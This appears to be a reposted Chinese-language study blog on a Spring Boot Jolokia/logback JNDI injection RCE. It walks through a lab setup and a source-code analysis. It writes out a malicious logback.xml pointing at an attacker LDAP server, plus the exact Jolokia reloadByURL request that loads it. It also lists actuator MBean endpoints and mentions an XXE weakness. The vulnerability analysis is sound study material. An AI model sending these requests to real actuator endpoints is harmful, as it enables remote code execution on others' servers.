SpringBoot jolokia logback JNDI RCE


前言:jolokia logback JNDI RCE 漏洞學習筆記

在實戰中碰到的幾率還是有的,不過有時候不存在相關可利用的依賴,有時候不存在相關可利用的MBean,總是會覺得可惜...

這里不講述相關的jolokia的MBean使用方法,如果需要的話可以去學習下

參考文章:https://jolokia.org/reference/html/protocol.html#request-example

環境搭建與漏洞利用

漏洞環境參考:https://github.com/LandGrey/SpringBootVulExploit

打開相關的jolokia logback工程,然后配置下啟動類即可,如下圖所示

接着訪問 http://localhost:9094/actuator/jolokia/list ,搜索MBean "logback"

啟用相關的存在PAYLOAD的LDAP服務

logback.xml內容如下

<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.0.108:1389/exo5gx" as="appName" />
</configuration>

進行JNDI注入,訪問如下地址

http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.0.108:8000!/logback.xml

命令執行成功,如下圖所示

漏洞分析

這里通過相關工具來進行解析,格式化尋找相關MBean

http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL
[+] DESC  : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByFileName/$java.lang.String
[+] DESC  : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadDefaultConfiguration
[+] DESC  : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerLevel/$java.lang.String
[+] DESC  : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerEffectiveLevel/$java.lang.String
[+] DESC  : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/setLoggerLevel/$java.lang.String/$java.lang.String
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/Statuses
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/LoggerLis

大家提供的利用方法都是通過http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL的方法來進行的

這里可以過來看下相關實現代碼,直接來看ch.qos.logback.classic.jmx.JMXConfigurator中的reloadByURL方法

    public void reloadByURL(URL url) throws JoranException {
        StatusListenerAsList statusListenerAsList = new StatusListenerAsList();

        addStatusListener(statusListenerAsList);
        addInfo("Resetting context: " + loggerContext.getName());
        loggerContext.reset();

        // after a reset the statusListenerAsList gets removed as a listener
        addStatusListener(statusListenerAsList);

        try {
            if (url != null) {
                JoranConfigurator configurator = new JoranConfigurator();
                configurator.setContext(loggerContext);
                configurator.doConfigure(url);
                addInfo("Context: " + loggerContext.getName() + " reloaded.");
            }
        } finally {
            removeStatusListener(statusListenerAsList);
            if (debug) {
                StatusPrinter.print(statusListenerAsList.getStatusList());
            }
        }
    }

這個方法自己大概跟過后就會了解,就是通過外部提供的URL來進行加載相關logback.xml的配置文件

這里可以跟到configurator.doConfigure(url);中進行觀察,這里的話就是准備好URL,然后獲取請求好回來的內容,也就是 攻擊者服務器上的logback.xml的內容流

繼續跟進doConfigure(in, url.toExternalForm());,可以看到的就是對這個logback.xml內容流進行解析

如何解析的?繼續跟到recorder.recordEvents(inputSource);來觀察,可以看到典型的XML組件解析操作,並且沒有相關的XXE注入攔截,所以這里同時也存在XXE漏洞

recorder.recordEvents(inputSource);解析完之后會存在一個,其中就存在一個對攻擊者服務器請求的logback.xml的內容結構

其中可以看到一個標簽<insertFromJNDI>,通過了解logback的官方文檔,logback如果讀取到該標簽,就會對標簽進行實例化一個InsertFromJNDIAction對象,調用該對象的begin方法,該begin方法會生成上下文進行目標請求

跟到doConfigure(recorder.saxEventList);就會知道它是如何進行請求的

繼續跟到play方法中,可以發現對整體的xml內容結構進行遍歷解析

最后讀到那段JNDI地址的標簽的時候,它最后就會通過實例化一個上下文對象,然后請求這個地址,最終觸發了JNDI注入


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM